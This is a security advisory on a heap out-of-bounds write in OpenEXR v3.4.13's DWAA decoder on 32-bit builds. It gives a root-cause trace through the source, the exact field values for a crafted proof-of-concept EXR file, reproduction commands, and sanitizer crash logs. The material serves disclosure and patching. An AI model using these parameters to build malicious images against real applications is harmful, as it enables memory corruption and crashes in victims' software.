GHSA-6662-fq6f-93mp
CVE Information
Summary
OpenEXR v3.4.13 has an ILP32-only heap out-of-bounds write in the DWAA scanline decode path reached through the public C++
Imf::InputFile::readPixels()API. A crafted DWAA-compressed scanline EXR makesDwaCompressor_initializeBuffers()compute_packedAcBufferSizeslightly above 4 GiB. On 32-bit ILP32 builds that value truncates to a 248-byte allocation, but the later AC DEFLATE path trusts the untruncated 64-bit size and asks libdeflate to inflate 1 MiB into the undersized buffer.Confirmed locally: the original unsanitized ILP32 binary aborts after heap corruption (
free(): invalid pointer,rc=134), ASAN reports a heap-buffer-overflow write through libdeflate andDwaCompressor_uncompress()(rc=134), and UBSAN-instrumented ILP32 aborts on the same corrupted decode path (rc=134).Details
Root cause:
sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:219-222: publicInputFile::readPixels()enters the scanline reader.sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:ScanLineProcess::run_decode()callsexr_decoding_run().sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:456-458and:543-553:EXR_COMPRESSION_DWAAdispatches tointernal_exr_undo_dwaa()while decompressing chunk data.sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa.c:177-211: the DWAA helper constructsDwaCompressorand callsDwaCompressor_uncompress().sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:1283-1291:maxLossyDctAcSizeis computed from chunk height and image width.sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:1403-1409:_packedAcBufferSizestores the 64-bit value, butme->alloc_fn(me->_packedAcBufferSize)takessize_t; on ILP32 it allocates only the low 32 bits.sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:897-904: attacker-controlledAC_UNCOMPRESSED_COUNTis checked against the untruncated_packedAcBufferSize.sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:927-933:exr_uncompress_buffer()inflates attacker-controlled AC data into_packedAcBuffer.sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:172-189: libdeflate writes into the supplied destination buffer.PoC geometry and DWA chunk fields:
compression = DWAA_COMPRESSION storage = scanline channel = one HALF channel named R width = 272,696,337 height = 1 ceilf(width / 8) = 34,087,044 maxLossyDctAcSize = 34,087,044 * 63 * 2 = 4,294,967,544 = 0x1000000f8 ILP32 allocation size = 0x000000f8 = 248 bytes DWA VERSION = 1 (legacy classifier rules) AC_COMPRESSION = DEFLATE AC_UNCOMPRESSED_COUNT = 524,288, so requested inflated AC bytes = 1,048,576 AC_COMPRESSED_SIZE = 1,039 bytes in the generated PoC on this hostBecause
_packedAcBufferSizeremains the untruncated 64-bit value, the guard atinternal_dwa_compressor.h:899-901allows the 1 MiB AC inflate. ASAN confirms the allocation site isinternal_dwa_compressor.h:1407and the write occurs through libdeflate called frominternal_dwa_compressor.h:927.PoC
Package contents
poc.zipcontains only the files needed to rebuild, run, and verify the standalone crafted EXR PoC:report.md reproduce.sh repro/build_repro.sh repro/run_repro.sh poc_artifacts/poc_dwaa_ac_crash.exr poc_artifacts/probe_ilp32_dwaa_ac_inputfile_read_poc.cpp logs/original_poc.stdout logs/original_poc.stderr logs/original_poc.rc logs/asan_poc.stdout logs/asan_poc.stderr logs/asan_poc.rc logs/ubsan_poc.stdout logs/ubsan_poc.stderr logs/ubsan_poc.rcReproduction
Run from the OpenEXR v3.4.13 repository root after the existing ILP32 original/ASAN/UBSAN builds are present:
mkdir -p artifacts/tmp/report18-poc unzip -o 'report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc.zip' -d artifacts/tmp/report18-poc artifacts/tmp/report18-poc/repro/build_repro.sh original artifacts/tmp/report18-poc/repro/build_repro.sh asan artifacts/tmp/report18-poc/repro/build_repro.sh ubsan artifacts/tmp/report18-poc/repro/run_repro.sh original artifacts/tmp/report18-poc/repro/run_repro.sh asan artifacts/tmp/report18-poc/repro/run_repro.sh ubsanA top-level helper runs the same sequence:
./reproduce.shExpected results:
original -> rc=134, free(): invalid pointer after heap corruption ASAN -> rc=134, heap-buffer-overflow in libdeflate/DwaCompressor_uncompress UBSAN -> rc=134, abort on the same corrupted decode pathFull original-build output
logs/original_poc.rc:134
logs/original_poc.stderr:reading /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/poc_dwaa_ac_crash.exr via InputFile::readPixels(0,0) free(): invalid pointer timeout: the monitored command dumped core
logs/original_poc.stdoutis empty.Full ASAN output
logs/asan_poc.rc:134
logs/asan_poc.stderr:reading /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/poc_dwaa_ac_crash.exr via InputFile::readPixels(0,0) ================================================================= ==3391021==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xd3403fb9 at pc 0x56925d10 bp 0xffa2ef58 sp 0xffa2ef50 WRITE of size 4 at 0xd3403fb9 thread T0 #0 0x56925d0f in store_machine_word_t_unaligned /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/../common_defs.h:466:1 #1 0x56925d0f in deflate_decompress_bmi2 /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/decompress_template.h:642:5 #2 0x5691fc71 in dispatch_decomp /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/deflate_decompress.c:1117:9 #3 0x5690e375 in libdeflate_deflate_decompress_ex /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/deflate_decompress.c:1140:9 #4 0x5690e375 in libdeflate_zlib_decompress_ex /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/zlib_decompress.c:69:11 #5 0x5690e375 in exr_uncompress_buffer /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:182:15 #6 0x56968df2 in DwaCompressor_uncompress /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:927:22 #7 0x56967b0a in internal_exr_undo_dwaa /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa.c:202:18 #8 0x5690fce6 in decompress_data /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:457:18 #9 0x5690f6ef in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14 #10 0x5692e7b7 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14 #11 0x56763a9f in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23 #12 0x56760c48 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21 #13 0x56760559 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12 #14 0x56746b07 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20 #15 0x56746a36 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12 #16 0x5673f079 in main /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/probe_ilp32_dwaa_ac_inputfile_read_poc.cpp:23:12 #17 0xf7908cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #18 0xf7908d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #19 0x56662a16 in _start (/home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/repro/bin/probe_ilp32_dwaa_ac_inputfile_read_poc_asan+0x9fa16) (BuildId: 071f94f2376fd1b99736a9811c5d32ef85f39ae5) 0xd3403fb9 is located 1 bytes after 248-byte region [0xd3403ec0,0xd3403fb8) allocated by thread T0 here: #0 0x566fa247 in malloc (/home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/repro/bin/probe_ilp32_dwaa_ac_inputfile_read_poc_asan+0x137247) (BuildId: 071f94f2376fd1b99736a9811c5d32ef85f39ae5) #1 0x5699375c in internal_exr_alloc /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/memory.c:39:12 #2 0x5697145d in DwaCompressor_initializeBuffers /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:1407:31 #3 0x569681a9 in DwaCompressor_uncompress /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:810:21 #4 0x56967b0a in internal_exr_undo_dwaa /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa.c:202:18 #5 0x5690fce6 in decompress_data /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:457:18 #6 0x5690f6ef in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14 #7 0x5692e7b7 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14 #8 0x56763a9f in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23 #9 0x56760c48 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21 #10 0x56760559 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12 #11 0x56746b07 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20 #12 0x56746a36 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12 #13 0x5673f079 in main /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/probe_ilp32_dwaa_ac_inputfile_read_poc.cpp:23:12 #14 0xf7908cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/../common_defs.h:466:1 in store_machine_word_t_unaligned Shadow bytes around the buggy address: 0xd3403d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xd3403d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xd3403e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xd3403e80: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0xd3403f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0xd3403f80: 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa 0xd3404000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xd3404080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xd3404100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xd3404180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xd3404200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3391021==ABORTING timeout: the monitored command dumped core
logs/asan_poc.stdoutis empty.Full UBSAN-instrumented output
logs/ubsan_poc.rc:134
logs/ubsan_poc.stderr:reading /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/poc_dwaa_ac_crash.exr via InputFile::readPixels(0,0) free(): invalid pointer timeout: the monitored command dumped core
logs/ubsan_poc.stdoutis empty.Impact
Applications that build OpenEXR v3.4.13 for 32-bit ILP32 targets and read attacker-supplied DWAA-compressed EXR files can suffer heap memory corruption during decompression. The demonstrated impact is a crash in the original unsanitized binary and an ASAN-confirmed heap out-of-bounds write through libdeflate. Arbitrary code execution was not proven. LP64 builds are not demonstrated because the
_packedAcBufferallocation is not truncated to 248 bytes on 64-bit platforms.